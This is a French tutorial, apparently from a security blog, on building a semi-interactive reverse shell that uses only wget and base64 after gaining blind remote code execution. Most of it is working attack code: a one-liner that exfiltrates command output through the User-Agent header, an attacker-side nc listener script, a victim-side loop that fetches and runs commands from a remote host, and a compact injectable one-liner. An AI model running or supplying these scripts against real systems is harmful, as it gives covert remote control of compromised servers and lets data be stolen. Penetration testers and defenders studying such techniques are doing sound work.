Construction d'un reverse shell semi-interactif avec wget

Table des matières :

Récemment, j’ai eu besoin de créer un reverse shell à partir d’une machine sur laquelle je savais que j’avais une exécution de code à distance (RCE), mais sans aucune sortie. Comme cette machine était assez ancienne, elle n’avait pas installé bash, python, nc, perl, ruby ou gcc, donc faire fonctionner un reverse shell classique était assez pénible. Je savais que j’avais une exécution de code à distance en aveugle sur le serveur (via une application Web) mais je n’avais aucun moyen d’exfiltrer les résultats de l’exécution de la commande.

Comme j’étais déterminé à obtenir un reverse shell sur cette machine, j’ai commencé à étudier ce dont j’aurais besoin pour créer un reverse shell et j’ai décidé d’en créer un en utilisant wget.

Construction d’une liaison montante

Tout d’abord, nous devons créer une liaison montante pour récupérer les résultats de la commande depuis la machine victime.

IP="127.0.0.1";
PORT=4444;

wget "http://$IP:$PORT" -q \
    -O- \
    --user-agent="$(id 2>&1)" \
    --output-file=/dev/null

Dans notre écouteur netcat, nous avons reçu la requête, avec le résultat de la commande exfiltrée dans l’en-tête User-Agent:

GET / HTTP/1.1
User-Agent: uid=1000(poc) gid=1000(poc) groups=1000(poc)
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

Maintenant que nous avons une preuve de concept fonctionnelle pour l’exfiltration de données, nous devons nous assurer que cela ne gâchera pas la demande. Par exemple, si nous essayons de mettre le résultat de ls -lha, nous aurons la requête suivante:

GET / HTTP/1.1
User-Agent: $ total 84K
drwxrwxr-x  2 hermes hermes 4,0K mai   12 10:19 .
drwxrwxrwt 26 root   root    76K mai   12 10:19 ..
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file1
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file2
-rw-rw-r--  1 hermes hermes    0 mai   12 10:19 file3
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

Ce ne sera pas une requête HTTP valide, à cause du User-Agent multiligne. Par conséquent, nous allons simplement encoder la réponse à la commande en base64 comme ceci:

IP="127.0.0.1";
PORT=4444;

wget "http://$IP:$PORT" -q \
    -O- \
    --user-agent="$(ls -lha 2>&1|base64 -w0)" \
    --output-file=/dev/null

Cela nous donne la requête HTTP valide suivante:

GET / HTTP/1.1
User-Agent: dG90YWwgODRLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCmRyd3hyd3hyLXggIDIgaGVybWVzIGhlcm1lcyA0LDBLIG1haSAgIDEyIDEwOjE5IC4KZHJ3eHJ3eHJ3dCAyNiByb290ICAgcm9vdCAgICA3NksgbWFpICAgMTIgMTA6MTkgLi4KLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTEKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTIKLXJ3LXJ3LXItLSAgMSBoZXJtZXMgaGVybWVzICAgIDAgbWFpICAgMTIgMTA6MTkgZmlsZTMK
Accept: */*
Accept-Encoding: identity
Host: 127.0.0.1:4444
Connection: Keep-Alive

Nous pouvons maintenant l’utiliser pour créer une coque inversée complète! Pour ce faire, nous allons créer deux boucles:

  • Du côté du serveur victime, nous utiliserons une boucle while true en attendant qu’une nouvelle commande soit exécutée. Lorsqu’il reçoit une commande, il l’exécute et renvoie la réponse sous forme de chaîne base64 dans l’en-tête HTTP User-Agent.

  • Du côté de l’attaquant, nous utiliserons une lecture en boucle while true pour les données d’entrée sur l’invite de commande. Lorsqu’une nouvelle commande est entrée, elle est envoyée au serveur victime et attend le résultat. Le résultat de la commande sera imprimé.

Nous pouvons voir les requêtes HTTP du reverse shell en utilisant WireShark:

Dans la section suivante, je présenterai une première version fonctionnelle complète.

Première version fonctionnelle

Dépendances

  • Sur la machine cible :

    • wget, base64
  • Sur la machine d’attaque :

    • wget, nc, grep, awk, cat, xxd, head

Listenner sur la machine d’attaque

Vous devez lancer ce listenner sur votre machine d’attaque. La machine cible se reconnectera à vous et vous obtiendrez un shell interactif grâce à ce script.

#!/usr/bin/env bash

CMD_SEND_PORT=8080
CMD_REPLY_PORT=8081

#===============================================================================

log()  { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}";  }
info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }

remote_exec(){
    local CMD="${1}"
    echo "${CMD}" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
    RESULT="$(nc -w 1 -lp ${CMD_REPLY_PORT} | grep "User-Agent:" | awk '{split($0,a,"User-Agent: "); print a[2]}' | base64 -i -d)"
    echo "${RESULT}"
}

wait_for_connection(){
    log "Waiting for incomming connection ..."
    local challenge="$(cat /dev/urandom | xxd -p | head -c 16)"
    local challenge_solved="$(echo "${challenge}" | base64 -w0)"
    waiting=1
    while [[ ${waiting} == 1 ]]; do
        local response="$(remote_exec "echo ${challenge} | base64 -w0")"
        if [[ $(echo "${response}" | grep "${challenge_solved}" | wc -l) -ne 0 ]]; then
            log "Validated ! proof : base64(${challenge})==${response}"
            waiting=0
        else
            echo "${response}"
        fi
    done
    info "Connected ! (interactive shell incomming)"
}

get_sys_info(){
    echo ""
    echo " Hostname : $(remote_exec "hostname")"
    echo " Kernel   : $(remote_exec "uname -sr")"
    echo " Arch     : $(remote_exec "uname -p")"
    echo ""
}

#===============================================================================

wait_for_connection

# get_sys_info

PROMPT="[\x1b[93m$(remote_exec 'whoami')\x1b[0m@\x1b[92m$(remote_exec 'hostname')\x1b[0m]: "

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    printf "${PROMPT}"; read
    if [[ "${REPLY}" == "exit" ]]; then
        echo "exit" | nc -w 1 -lp ${CMD_SEND_PORT} >/dev/null
        RUNNING=0
    else
        echo "$(remote_exec "${REPLY}")"
    fi
done

Reverse shell sur la machine cible

Sur la machine victime, nous n’avons besoin que des binaires wget et base64, et de ce simple script bash:

#!/usr/bin/env bash

REV_IP='localhost'

CMD_RECV_PORT=8080
CMD_REPLY_PORT=8081

RUNNING=1
while [[ $RUNNING == 1 ]]; do
    CMD=$(wget -q "http://${REV_IP}:${CMD_RECV_PORT}" -O- --output-file=/dev/null 2>/dev/null)
    if [[ ${CMD} != "" ]]; then
        if [[ ${CMD} == "exit" ]]; then
            RUNNING=0
        else
            sleep 0.125
            wget \
                "http://${REV_IP}:${CMD_REPLY_PORT}" \
                --output-file=/dev/null \
                --user-agent="$(${CMD} 2>&1 | base64 -w0)"\
                2>/dev/null
        fi
    fi
done

Version compacte

Maintenant que nous avons une première version fonctionnelle, voici une version compacte de ce reverse shell wget:

IP="1.2.3.4";D=8080;U=8081
while true; do sleep 0.125; wget "http://${IP}:${U}" -o /dev/null -U "$($(wget -q "http://${IP}:${D}" -O- -o /dev/null 2>/dev/null) 2>&1 | base64 -w0)" 2>/dev/null; done

Références